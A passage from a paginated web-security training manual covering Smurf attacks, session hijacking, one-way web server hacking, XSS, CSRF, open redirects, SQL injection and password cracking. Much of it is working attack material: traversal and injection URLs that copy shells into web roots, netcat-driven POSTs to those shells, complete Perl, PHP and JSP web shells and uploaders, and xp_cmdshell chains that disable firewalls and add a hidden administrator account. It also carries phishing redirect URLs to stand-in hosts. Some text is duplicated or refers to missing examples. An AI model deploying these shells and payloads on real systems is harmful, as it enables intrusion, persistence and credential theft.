Another proposed solution, to fix this as well as other problems, is network ingress filtering
which rejects the attacking packets on the basis of the forged source address.
An example of configuring a router not to forward packets to broadcast addresses, for a Cisco
router, is:
Router(config-if)# no ip directed-broadcast
(This example does not prevent a network from becoming the target of Smurf attack; it merely
prevents the network from "attacking" other networks, or better said, taking part in a Smurf
attack.)
A Smurf amplifier is a computer network that lends itself to being used in a Smurf attack. Smurf
amplifiers act to amplify (worsen the severity of) a Smurf attack because they are configured in
such a way that they generate a large number of ICMP replies to a spoofed source IP address
(the victim of the attack).
36 | P a g e
Session Hi-Jacking - What is Session Hi-Jacking?
• Taking over an active session to a computer system
• In order to attack the system, the attacker must know the protocol/method being used
to handle the active sessions with the system
• In order to attack the system, the attacker must achieve the user’s session identifier
(session id, session hash, token, IP)
• The most common use of Session Hi-jacking revolves around textual protocols such as
the HTTP protocol where the identifier is the ASPSESSID/PHPSESSID/JSESSION
parameter located HTTP Cookie Header aka “The Session Cookie”
• Most common scenarios of Session Hi-Jacking is done with combination with:
• XSS - Where the session cookie is read by an attacker’s JavaScript code
• Man-In-The-Middle – Where the cookie is sent over clear-text HTTP through the
attacker’s machine, which becomes the victim’s gateway
37 | P a g e
38 | P a g e
39 | P a g e
40 | P a g e
41 | P a g e
42 | P a g e
Hacking Web Servers How Web Servers Work
According to the research made by Ponemon Institute, web hacking and web based attacks are
the most costly for companies. The research results can be seen here:
These is a techniques rely purely on HTTP traffic to attack and penetrate web servers and application
servers. This technique was formulated to demonstrate that having tight firewalls or SSL does not really
matter when it comes to web application attacks. The premise of the one-way technique is that only valid
HTTP requests are allowed in and only valid HTTP responses are allowed out of the firewall.
Components of a generic web application system
There are four components in web application systems, namely the web client which is usually a browser,
the front-end web server, the application server and for a vast majority of applications, the database
server. The following diagram shows how these components fit together.
43 | P a g e
The web application server hosts all the application logic, which may be in the form of scripts, objects or
compiled binaries. The front-end web server acts as the application interface to the outside world,
receiving inputs from the web clients via HTML forms and HTTP, and delivering output generated by the
application in the form of HTML pages. Internally, the application interfaces with back-end database
servers to carry out transactions.
The firewall is assumed to be a tightly configured firewall, allowing nothing but incoming HTTP requests
and outgoing HTML replies.
URL mappings to the web application system
While interacting with a web application, the URLs that get sent back and forth between the browser and
the web server typically have the following format:
http:// server / path / application? Parameters
The following diagram illustrates how different parts of the URL map to various areas in the web
application system:
44 | P a g e
 The protocol (http or https) is allowed in and out by the firewall.
 The server and path parts are parsed by the front-end web server. Any vulnerabilities present in
URL interpretation (e.g. Unicode, double-decode) can be exploited by tampering with the server
and path of the URL.
 The application is executed by the application server with which it is configured or registered.
Tampering with this part may result in exploiting vulnerabilities present with the application
server. (e.g. compiling and executing arbitrary files using the JSP servlet handler)
 Parameters supplied to the application, if not properly validated, may result in vulnerabilities
specific to that application. (e.g. inserting pipe "|" characters to the open() call in Perl)
 If a parameter is used as a part of an SQL database query, poorly validated parameters may lead
to SQL injection attacks. (e.g. execution of arbitrary commands using stored procedures such as
"xp_cmdshell")
Flowchart for a one-way web hack
Consider the example where an attacker finds a vulnerable web application, and is able to exploit it using
techniques such as the ones mentioned previously. The attacker has achieved arbitrary command
execution, but due to the restrictive firewall, is unable to proceed further into the network. To make an
attack effective, two things are essential:
1. Interactive terminal access - for running commands to pilfer the attacked server or penetrate
further into the network.
2. File transfer access - for transferring attack tools such as port scanners, rootkits, etc.
A tight firewall can make it very difficult to achieve the above objectives; however, it is not impossible. To
get around these restrictions, with a little bit of web application programming knowledge, we can create a
web based command prompt and a file uploader.
45 | P a g e
Before proceeding further we shall take a preview of the various stages of the one-way hack, as illustrated
by the following diagram:
Finding the entry point
The one-way hack begins when we are able to achieve remote command execution on the target web
server. We can use any of the common techniques used to attack web servers. We shall present a few
examples of various ways of achieving remote command execution based on different types of URL
mappings as described previously. A detailed discussion on web server and application vulnerabilities is
beyond the scope of this paper.
Our objective is to create a backdoor by moving the shell interpreter (/bin/sh, cmd.exe, etc.) to an area
within the web server's document root. This way, we can invoke the shell interpreter through a URL. We
present three examples which illustrate how to create backdoors using various exploitation techniques.
The diagram below illustrates some of the techniques used to find an entry point:
46 | P a g e
Exploiting URL parsing
The Unicode / Double decode attack is a classic example of a URL parsing vulnerability. The URL below
copies the command interpreter - cmd.exe - into the "scripts/" directory within the web server's
document root:
http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+
c:winntsystem32cmd.exe+c:inetpubscripts
Exploiting poorly validated input parameters
In this example, an unchecked parameter is passed from the URL to a Perl CGI script news.cgi using the
open() call in an insecure manner:
http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+
/usr/local/apache/cgi-bin/sh.cgi|
The shell (/bin/sh) gets copied into the cgi-bin directory as sh.cgi.
Exploiting SQL injection
Here, we show how SQL injection can be used to invoke a stored procedure on a database server, and run
commands via the stored procedure:
http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+
47 | P a g e
'copy+c:winntsystem32cmd.exe+c:inetpubscripts'
Invoking the command interpreter
Our objective of creating a backdoor by moving the command interpreter or the shell into the web
document root is to be able to invoke it remotely over HTTP. The HTTP POST method is best suited for this
purpose. Using POST, the input data gets passed to the invoked resource over standard input, and the
web server returns the output generated by standard output back over the HTTP connection.
We shall illustrate how to send commands to command interpreters over POST, with an example of sh.cgi
(which is a copy of /bin/sh) on Apache and Linux.
Posting commands to /bin/sh
The example below shows three commands being run with /bin/sh, which is accessible on
http://www2.example.com/cgi-bin/sh.cgi. The POST request is shown in bold letters.
$ nc www2.example.com 80
POST /cgi-bin/sh.cgi HTTP/1.0
Host: www2.example.com
Content-type: text/html
Content-length: 60
echo 'Content-type: text/html'
echo
uname
id
ls -la /
exit
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:47:20 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x 19 root root 4096 Feb 2 2002 .
drwxr-xr-x 19 root root 4096 Feb 2 2002 ..
drwxr-xr-x 2 root root 4096 Jun 20 2001 bin
drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot
drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev
drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc
drwxr-xr-x 8 root root 4096 Dec 1 2001 home
drwxr-xr-x 4 root root 4096 Jun 19 2001 lib
drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found
drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt
48 | P a g e
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt
dr-xr-xr-x 37 root root 0 Nov 28 2003 proc
drwxr-x--- 9 root root 4096 Feb 9 2003 root
drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin
drwxrwxr-x 2 root root 4096 Feb 2 2002 src
drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp
drwxr-xr-x 4 root root 4096 Feb 2 2002 u01
drwxr-xr-x 21 root root 4096 Feb 2 2002 usr
drwxr-xr-x 16 root root 4096 Jun 19 2001 var
$
The care and feeding of /bin/sh over Apache is slightly different. Apache expects a well formed HTTP
response header from all its CGI programs, hence we have to prepend the lines "Content-type: text/html"
in the output. The two "echo" commands are for this purpose.
Automating the POST process
We have created two Perl scripts post_cmd.pl and post_sh.pl to automate the task of preparing the
proper POST requests for the commands and sending them to the web server. The syntax for invoking
post_cmd.pl is as follows:
usage: post_cmd.pl url [proxy:port] < data
By Saumil Shah (c) net-square 2001
post_cmd.pl takes all the data to be POSTed to the URL as
standard input. Either enter the data manually and hit ^D (unix)
or ^Z (dos) to end; or redirect the data using files or pipes
post_sh.pl is on similar lines.
The examples below show the same results being derived using the Perl scripts instead of forming our
own POST requests:
Output of post_sh.pl
$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi
uname
id
ls -la /
^D
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:43:54 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html
49 | P a g e
Linux
uid=99(nobody) gid=99(nobody) groups=99(nobody)
total 116
drwxr-xr-x 19 root root 4096 Feb 2 2002 .
drwxr-xr-x 19 root root 4096 Feb 2 2002 ..
drwxr-xr-x 2 root root 4096 Jun 20 2001 bin
drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot
drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev
drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc
drwxr-xr-x 8 root root 4096 Dec 1 2001 home
drwxr-xr-x 4 root root 4096 Jun 19 2001 lib
drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found
drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt
dr-xr-xr-x 37 root root 0 Nov 28 2003 proc
drwxr-x--- 9 root root 4096 Feb 9 2003 root
drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin
drwxrwxr-x 2 root root 4096 Feb 2 2002 src
drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp
drwxr-xr-x 4 root root 4096 Feb 2 2002 u01
drwxr-xr-x 21 root root 4096 Feb 2 2002 usr
drwxr-xr-x 16 root root 4096 Jun 19 2001 var
$
In this manner, we can issue multiple commands to the target web server using HTTP POST requests. This
concept shall be used to create arbitrary files on the web server, as discussed in section 4.1
Web based command prompt
After achieving remote command execution, we need to be able to interactively run commands on the
target web server. Common ways of doing this would be to either spawn a shell or bind it to a TCP port on
the target web server, or to launch a shell connection back to a TCP listener, or to launch an xterm to a
remote X display. However, given a tight firewall which allows only HTTP requests as incoming traffic and
HTTP responses as outbound traffic, such techniques will not work. We shall present here examples of
"web based command prompts" to get around these restrictions.
A web based command prompt provides the functionality of a semi-interactive shell terminal, via an
HTML form. The form accepts the command as an <INPUT> field and displays the resultant output as pre-
formatted text.
The reason why web based command prompts are semi-interactive is because they do not save the state
of the terminal, such as the current working directory, system environment, etc. These can be
implemented by session based HTML forms, however, that is beyond the scope of this paper.
Commands executed by such web based command prompts assume the privileges of the web server
process. Typically, for UNIX systems running Apache, the uid is "nobody", whereas for Windows systems
running IIS, the privileges are those of "IUSR_machinename" or "IWAM_machinename"
Given below are four examples of a web based command prompt:
50 | P a g e
Perl - perl_shell.cgi
The following script using Perl provides a semi-interactive web based command prompt.
#!/usr/bin/perl
require "cgi-lib.pl";
print &PrintHeader;
print "<FORM ACTION=perl_shell.cgi METHOD=GET>n";
print "<INPUT NAME=cmd TYPE=TEXT>n";
print "<INPUT TYPE=SUBMIT VALUE=Run>n";
print "</FORM>n";
&ReadParse(*in);
if($in{'cmd'} ne "") {
print "<PRE>n$in{'cmd'}nn";
print `/bin/bash -c "$in{'cmd'}"`;
print "</PRE>n";
}
51 | P a g e
PHP - sys.php
Creating a web based shell with PHP is very simple. The following script illustrates a web based shell in
PHP:
<FORM ACTION="sys.php" METHOD=POST>
Command: <INPUT TYPE=TEXT NAME=cmd>
<INPUT TYPE=SUBMIT VALUE="Run">
<FORM>
<PRE>
<?php
if(isset($cmd)) {
system($cmd);
}
?>
<PRE>
JSP - cmdexec.jsp
The following JSP code is a web based command prompt for J2EE application servers supporting Java
Server Pages.
<FORM METHOD=GET ACTION='cmdexec.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
52 | P a g e
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Any web application programming language, which allows native OS commands to be run, can be used to
create a web based command prompt.
File uploader
In addition to being able to run commands on the target web server, an attacker would also be interested
in transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not work
since the firewall would prevent all these. To get around this obstacle, we need to create a file uploader.
The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option,
though.
It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file get
sent to the server in an HTTP POST request. On the server, an upload script receives these contents and
saves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scope
of this document.
To perform file uploads, we would require a directory where the web server process (nobody,
IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files.
Given below are three examples of such upload scripts:
Perl - upload.cgi
Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how:
#!/usr/bin/perl
require "cgi-lib.pl";
print &PrintHeader;
print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>n";
print "File path: <input type=file name=upfile>n";
print "<input type=submit value=upload></form>n";
&ReadParse;
53 | P a g e
PHP - upload.php
Creating an uploader with PHP is just as simple.
<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="File" name="userfile" size="30">
<INPUT TYPE="submit" VALUE="upload">
</FORM>
<?php
if($userfile_name != "") {
copy("$userfile", "./$userfile_name") or die("Couldnt copy file");
echo "File name: $userfile_name<br>n";
echo "File size: $userfile_size bytes<br>n";
echo "File type: $userfile_type<br>n";
}
?>
Once we have both command execution and file upload facilities over HTTP, we can do pretty
much whatever we please with the target web server. It would be possible to:
Discover source code and configuration files on the web server,
discover the internal network (if any) that the target web server lies on,
upload attack tools on the web server and execute them,
... and much more
An obvious next step is to attempt to escalate privileges, since we are bound by the privileges
extended to us by the web server process. The next section discusses just that.
54 | P a g e
One-Way Privilege Escalation
Web based command prompts; inherit the privileges of the process under which they are
running. Usually, these privileges are restricted user level privileges, unless the web server
process is running with elevated privileges. A few application servers, which plug-in to the front
end web server, run with elevated privileges. To take the attack deeper, in most cases, one
would need some sort of privilege escalation, after installing a web based command prompt and
an HTTP file uploader.
Privilege escalation attacks are nothing unique. There are many exploits for various operating
systems which result in escalating the privileges to either the super user, or to a more privileged
user. Most privilege escalation attacks can be adapted to the one-way attack technique.
A detailed discussion of privilege escalation attacks is not within the scope of this paper. We
shall discuss two examples of privilege escalation attacks, "Microsoft IIS 5.0 In-Process Table
Privilege Elevation Vulnerability" for the Windows and IIS platform, and the "Linux Ptrace/Setuid
Exec Vulnerability" for the Linux and Apache platform.
Care must be taken that the privilege escalation exploit runs non-interactively, i.e. it should not
require an interactive shell, an interactive terminal, a GUI console, etc. For this example, we had
to modify the Linux ptrace exploit to adapt it for one-way use.
55 | P a g e
Web Application Vulnerabilities Web Application Setup
XSS – Cross-Site-Scripting
Introduction
• XSS is a vulnerability which exists on the server side, but poses a risk only for the
server’s clients
• The “attack” occurs when a web server replies the user with the exact raw data received
from the user at a certain point in time.
Reflected XSS (Type I)
• In order to exploit the vulnerability:
– the attacker supplies the user with a link
– once clicked, the user sends data to the server
– the server replies it
– the browser executes it
• The attacker may send malicious JS code that will execute in the context of the given
site.
• This code is able to:
– Exploit the browser
– Steal cookies
– Perform GET and POST requests using the user`s credentials
– Perform content spoofing attacks
– Deface the site
56 | P a g e
Permanent (Stored) XSS
• Another vector of this attack is called “Stored XSS”, unlike the previous vector. In this
attack there is no need to navigate the user to a specially crafted URL.
• This attack requires the attacker to find a permanent place within the application that
can store his code, for example:
blog`s comments
user`s profile settings
Etc…
DOM XSS
…
XSS-Shell
• XSS-Shell is an attack platform designed to be launched from an XSS vector.
• The usage of this platform is as following:
The attacker sends the user a link referring to a vulnerable site
Upon clicking this link the client`s browser runs the JS code of the XSS-Shell platform
This code hijacks the browser and starts receiving commands from the server
57 | P a g e
The attacker can send new commands that will be evaluated in the client`s browser as long
as this attack is active
The client can stop the attack in two ways:
Manually navigate to the different site using the navigation bar
Closing the browser completely
XSS Worms
• In the age of social networks and mash web sites, a single XSS attack in a major site can
be turned into an army of computers, just waiting for commands from the attacker.
• Using the power of JS code there is even no need to try and exploit the browser. Most
uses of Bot-nets today are D.O.S and SPAM attacks.
The Future of SPAM
• While SPAM attacks are still hard to launch using JS, there are several ways attackers
use to achieve this goal.
• Mime injections is an uprising attack that allows an attacker to inject text into the mime
headers of an outgoing mail and change the values of those headers before being sent.
• The vulnerability is mostly common in “Contact Us” forms which lack input validation on
fields such as:
– From
– To
– Subject
– Date and so on…
• Correct usage of this vulnerability will allow the attacker to craft their own email and
send it to their victims using the vulnerable third party site.
• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the
sender’s domain.
• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to
produce a SPAM network with no Trojan Horses or any kind of backdoor tools.
58 | P a g e
• Correct usage of this vulnerability will allow the attacker to craft their own email and
send it to their victims using the vulnerable third party site.
• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the
sender’s domain.
• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to
produce a SPAM network with no Trojan Horses or any kind of backdoor tools.
D.o.S attacks
• D.o.S attacks are fairly easy to deploy.
• Consider a XSS worm on Facebook.com
• Every user that logs in will get a command from the server.
• This command will cause the browser to send a Post request to CNN.com
• Considering the amount of users Facebook has simultaneously, CNN will be down within
a few minutes.
59 | P a g e
Information Gathering
Beyond malicious attacks on third party sites, the attacker may use their worm to gather
sensitive information from their victims
• The attacker can harvest the following details using the XSS alone:
– Password (using a perfect phishing attack)
– Name
– Age
– Email
– Friend list (that will also be attacked to become future victims)
Automated exploiting bots
Another usage of an XSS worm is to automatically scan and exploit other vulnerabilities. In order
to achieve this goal the attacker needs to exploit one of the victim`s browser and execute a
backdoor that will act as the server. The server will then be used by all the other victims or,
“Fetchers”. The Fetchers will send a request to the server asking for a new list to attack. The
server will then use Google or any other search engine to get a list of sites that suit the attack
and return it to the fetcher. The fetcher now asks the server for the content of a certain site on
the list. Once the value returns, the fetcher parse out the inner link from this page. This is where
the user starts to actively participate in the attack:
• The worm’s JavaScript code running on each user’s machine blindly sends a generic
attack request/string/code to the targets/links retrieved by the fetcher with known
vulnerabilities such as SQL Injections.
60 | P a g e
• For each pattern found, the fetcher tries to exploit the machine using preset values.
• Successful exploitations will cause the attacked machine to report itself to the attacker
thus entering to the attack circle.
• This may have a low ratio of success but when talking about an XSS Worm in the
sufficient magnitude and considering the fact that this process is fully automatic the
result is highly satisfying for the attacker
• The fetcher checks for patterns on those links for known vulnerabilities such as SQL
Injections.
• For each pattern found, the fetcher tries to exploit the machine using preset values.
• Successful exploitations will cause the attacked machine to report itself to the attacker
thus entering to the attack circle.
• This may have a low ratio of success but when talking about an XSS Worm in the
sufficient magnitude and considering the fact that this process is fully automatic the
result is highly satisfying for the attacker
Malware Script Detector
• Malware Script Detector
(MSD)
http://userscripts.org/scripts/show/30284
• Coded mainly to detect today’s popular powerfully malicious JavaScript attack
frameworks: XSS-Proxy, XSS-Shell, AttackAPI, BeEF
• Version 2 was enhanced to prevent most XSS threats and includes XSS Attack Blacklists
based on Firefox XSS-Warning add-on
Cross Site Request Forgery (CSRF/XSRF/Session Riding)
Introduction
Cross Site Request Forgery (CSRF) is a client side attack that takes advantage of insecure web
applications. In order to understand this vulnerability let’s take a simple example, a website that
has:
 A user management section with a “remember me” cookie.
61 | P a g e
 The site has a *simple Change Password form.
The risks and common uses
• The form has one input, the new desired password.
• The attacker also discovered XSS vulnerability in a high traffic third party site.
• The attacker can use this XSS and cause the victim to generate a post to the original
form on the first site.
62 | P a g e
• The browser will then send an HTTP POST request to the first server, it will automatically
include the cookie that it had saved and the password will change as the attacker
desired.
• The attacker can make the user post any form (rather GET or POST method) without the
user having any way of controlling the event or even knowing it is happening (without
the use of sniffing or analysis tools).
• Most attackers choose the obvious forms to exploit:
• Password change
• Password reminder question change
• Email change
• Money transfer
Tokens vs. Personal Information as a solution for CSRF
• Tokens work in the following way:
– The user requests a page.
– The server generates a random token and appends it as a hidden field to the form.
63 | P a g e
– The user fills out the form and submits it back to the server.
– The server can now compare the token it has saved and the one received by the user
in order to verify the submit process was legitimate.
• Personal Information is used to validate the request is legitimate and human generated.
• Two ways are generally used in this method:
– Old password
– Security question
• The problem with this method of action is that it is not 100% secure, personal
information can be found out by the attacker and then the security mechanism has no
meaning.
• Combining both methods and adding a CAPTCHA mechanism is the best way to defend
against this type of attacks.
Open/Un-Validated Site Redirection / Cross Domain Redirect
In order to understand Open Site Redirection, we will explore the vulnerability found on the
WordPress blogging platform. In WordPress, there is a login redirect feature that can be abused
for phishing purposes. The parameter ‘redirect_to’ usually contains the relative URL to where
the user is redirected AFTER logging in successfully.
i.e.: /wordpress/wp-admin/index.php
However, such parameter also allows absolute URLs that point to a domain different to the one
where the legitimate WordPress login page is hosted.
i.e.: http://legitimate.com/wordpress/wp-login.php?redirect_to=http://evil.com
or
http://legitimate.com/wordpress/wp-
login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d
(Evil domain name is hex-encoded for obfuscation purposes) where ‘http://evil.com’ would be a
malicious site hosting a spoof WordPress login page.
64 | P a g e
Attack scenario:
1. Attacker launches a phishing attack against the victim using the following URL:
http://legitimate.com/wordpress/wp-
login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d
2. Victim logs in successfully
3. Victim is redirected to evil.com where there is a spoof WordPress login page that looks like
the original. Such login page returns an authentication error message like the following:
“ERROR: Invalid username.”
4. Victim thinks he/she entered the wrong username and re-enters username and password
again
5. Credentials are now logged by the attacker
• Many sites today use redirections and forwards to third party sites.
• Each non-validated redirection or forward to third party sites are potentially an attack
vector waiting to be exploited.
• There are a few risks when talking about non-validated referrals.
Common uses and Risks
65 | P a g e
• The number one use of this non-validated feature will be to implement an XSS attack on
a third party site.
• This XSS cannot affect the referring site, it still uses that site`s credibility to unleash the
attack.
• For example, the following link bypasses the Facebook redirect checks:
• Or coded to the more practical way:
• In a more discreet way:
• Another vector of attack is Content Spoofing.
• If the attacker can control the content of a frame inside a major news web server, they
could then create false posts of information that will endanger the credibility of the site
in addition to the profit generated to the attacker.
http://www.facebook.com/l.php?u=http://attacker_site.com&h=781d3
http://www.facebook.com/l.php?u=%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%5f%
73%69%74%65%2e%63%6f%6d&h=781d3
66 | P a g e
Validating Redirects and Forwards
• The application must validate the URL before forwarding the user thus assuring the link
is safe.
• In case the application cannot validate the URL it should prompt the user of the
redirection before forwarding it.
67 | P a g e
SQL-injection - What is SQL Injection?
Introduction
• SQL Injection is a vulnerability which exists on the server side and poses a risk to the
Database server of the application.
• The attack occurs when a web server passes the exact raw data received from the user
to the Database server.
• In order to exploit the vulnerability:
– The attacker must identify an input to the application that is involved in a database
query
– Once found, the attacker can manipulate this argument in order to change the
nature of the original query
• The following VB code generates a SQL statement using a parameter from the user
• In case the value is in the correct template, the application will work as planned
• On the other hand, the following input will completely change the nature of this query:
1’ or ‘1’=‘1
• The statement will appear as following:
• The outcome of the last statement will always result in the value: “true”.
• An attacker does the same manipulation in the login SQL statement.
• By making sure the statement will always result in “true”, the attacker is able to
instantly log in to the system.
Dim SSN as String
Dim SqlQuery as String
SSN = Request.QueryString(“ID")
SqlQuery = "SELECT lname, fname FROM users WHERE id = '" + ID + "'"
Select lname, fname FROM users WHERE id=‘1’
Select lname, fname FROM users WHERE id=‘1’ or ‘1’=‘1’
68 | P a g e
• In addition to login credentials the attacker can also go after the information within the
Database itself, for example Credit Cards.
• The attacker can use several vectors when trying to read data from the SQL server.
The Practice
Error Based SQL Injection
• When comparing columns of different types, the SQL server throws an exception.
• in this exception it explains exactly why the statement failed, for example:
– the attacker can compare the value of the @@version parameter, which is string, to
an integer value
– The server in response will say the value of @@version (and the value itself!) cannot
be treated as an integer.
Union Based SQL Injection
• In case the server does not output errors or if the attacker would like a faster way to get
the data out of the server the SQL Union statement comes to hand
• The following query will act as the test case:
• the attacker can control the value of user_id and may manipulate the query as
following:
select name from users where user_id=‘100’
69 | P a g e
• Instead of the name of the current user logged in, the application will output the
password of the admin user.
Taking Over the Machine
• An attacker can do more than just read, insert and modify records into the Database.
• With the right permissions, an attacker is able to run binary code on the actual server
running the SQL engine.
• For example, in MSSQL the procedure xp_cmdshell can be used to run the code it gets
as a parameter with the permissions of the user running the SQL Server (SYSTEM).
• In SQL Server 2005 the function was disabled for security issues, but of course Microsoft
left a Reconfigure function that can turn it back on.
• The SQL query will look as following:
Enable Remote Command Execution:
Disable Windows Firewall:
Add an Administrative RDP Authorized User Account:
select name from users where user_id=‘-1’ union all select password from users
where user_name=‘admin’
‘; exec master..sp_addextendedproc “xp_cmdshell”, “C:Program FilesMicrosoft SQL
serverMSSQLBinnxplog70.dll”;
exec master..sp_configure “show advanced options”, 1;
RECONFIGURE;
exec master..sp_configure 'xp_cmdshell',1;
RECONFIGURE;
exec master. xp_cmdshell ‘cmd.exe /c dir c:’;
exec master. xp_cmdshell ‘NET STOP “Windows Firewall”’;
exec master. xp_cmdshell ‘NET STOP “Internet Connection Firewall (ICF) / Internet Connection
Sharing (ICS)”’;
exec master. xp_cmdshell ‘NET STOP “Windows Firewall/Internet Connection Sharing (ICS)”’;
70 | P a g e
• Once the attacker has control over the machine they can then use it as a “Bot” in order
to automatically exploit other vulnerable sites.
SQL injection as a lead to other vulnerabilities
• Once the attacker has control over the Database server they can with great ease
manipulate the system and create additional security holes.
• For example, the attacker can change data in the SQL Server to bypass all of the input
validations against XSS attacks.
• This is why the application must always filter the input it gets, and should not consider
certain sources as safe.
SQL injection Automated tools
• There are a few key applications that make the usage of SQL injections practically
automated.
• The number one application will be Pangolin.
• Pangolin is designed to extract data from almost every type of SQL server:
– MSSQL
– MySQL
– Oracle
– DB2 and more…
• In addition to data extraction Pangolin has the ability to:
– Execute code on the remote machine
– Write files to the remote host
– Directory and file manager
– Registry editor
– Custom SQL statements and more…
Pangolin:
exec master. xp_cmdshell ‘net user hackeruser hackerpass /add’;
exec master. xp_cmdshell ‘net localgroup administrators hackeruser /add’;
exec master. xp_cmdshell ‘net localgroup “Remote Desktop Users” hackeruser /add’;
71 | P a g e
72 | P a g e
SQLMap – Automated SQL Injection:
SQL injection Prevention
• Just like with XSS, there are plugins that attempt to prevent these attacks, along with
many WAF products in the market.
• The problem with these products remains the same; it cannot be a single line of
defense. These products get broken.
• The application must have a filtering module that prevents these attacks on its own. In
the case of SQL Injection the most important part is to encode the parameter before
sending it to the SQL Server so that characters like [‘] will have no effect.
• A common problem is the parameters that are not bound by quotes, like integers, these
parameters must be validated as an integer before sent further on in the application.
• Another vector of prevention is the use of parameterized queries inside stored
procedures.
73 | P a g e
• This way the variables cannot be treated as SQL CODE but only as values of those
variables.
• Once this is done, no matter what the attacker sends as an input, it could never be
parsed as a part of the SQL statement.
• To add another layer of security, it is recommended to break down the stored
procedures into smaller units of code, each with its own permissions, to avoid a scenario
of one stored procedure having both read and write permissions.
• In addition, the parameters should be sanitized inside the stored procedures as a last
line of defense.
74 | P a g e
Web-Based Password Cracking Techniques
Authentication – Definition
If you invited me to try and crack your password, you know the one that you use over and over
for like every web page you visit, how many guesses would it take before I got it?
Let’s see… here is my top 10 list. I can obtain most of this information much easier than you
think, and then I might just be able to get into your e-mail, computer, or online banking. After
all, if I get into one I’ll probably get into all of them.
1. Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always
making you use a number, aren’t they?)
2. The last 4 digits of your social security number.
3. 123 or 1234 or 123456.
4. “password”
5. Your city, or college, football team name.
6. Date of birth – yours, your partner’s or your child’s.
7. “god”
8. “letmein”
9. “money”
10. “love”
Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’t
get it yet it will probably only take a few more minutes before I do…
Hackers and I’m not talking about the ethical kind, have developed a whole range of tools to get
at your personal data. And the main impediment standing between your information remaining
safe, or leaking out, is the password you choose. (Ironically, the best protection people have is
usually the one they take least seriously.)
One of the simplest ways to gain access to your information is through the use of a Brute Force
Attack. This is accomplished when a hacker uses a specially written piece of software to attempt
to log into a site using your credentials. Insecure.org has a list of the Top 10 FREE Password
Crackers right here.
So, how would one use this process to actually breach your personal security? Simple, Follow my
logic:
 You probably use the same password for lots of stuff right?
 Some sites you access such as your Bank or work VPN probably have pretty decent security,
so I’m not going to attack them.
75 | P a g e
 However, other sites like the Hallmark e-mail greeting cards site, an online forum you
frequent, or an e-commerce site you’ve shopped at might not be as well prepared. So those
are the ones I’d work on.
 So, all we have to do now is unleash Brutus, wwwhack, or THC Hydra on their server with
instructions to try say 10,000 (or 100,000 – whatever makes you happy) different
usernames and passwords as fast as possible.
 Once we’ve got several login + password pairings we can then go back and test them on
targeted sites.
 But wait… How do I know which bank you use and what your login ID is for the sites you
frequent? All those cookies are simply stored, unencrypted and nicely named, in your Web
browser’s cache. (Read this post to remedy that problem.)
And how fast could this is done? Well, that depends on three main things, the length and
complexity of your password, the speed of the hacker’s computer, and the speed of the hacker’s
Internet connection.
Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amount
of time it would take to generate every possible combination of passwords for a given number
of characters. After generating the list it’s just a matter of time before the computer runs
through all the possibilities – or gets shut down trying.
Pay particular attention to the difference between using only lowercase characters and using all
possible characters (uppercase, lowercase, and special characters – like @#$%^&*). Adding just
one capital letter and one asterisk would change the processing time for an 8 character
password from 2.4 days to 2.1 centuries.
Password Length All Characters Only Lowercase
3 characters
4 characters
5 characters
6 characters
7 characters
8 characters
9 characters
10 characters
11 characters
12 characters
0.86 seconds
1.36 minutes
2.15 hours
8.51 days
2.21 years
2.10 centuries
20 millennia
1,899 millennia
180,365 millennia
17,184,705 millennia
0.02 seconds
.046 seconds
11.9 seconds
5.15 minutes
2.23 hours
2.42 days
2.07 months
4.48 years
1.16 centuries
3.03 millennia
76 | P a g e
13 characters
14 characters
1,627,797,068 millennia
154,640,721,434 millennia
78.7 millennia
2,046 millennia
Remember, these are just for an average computer, and these assume you aren’t using any
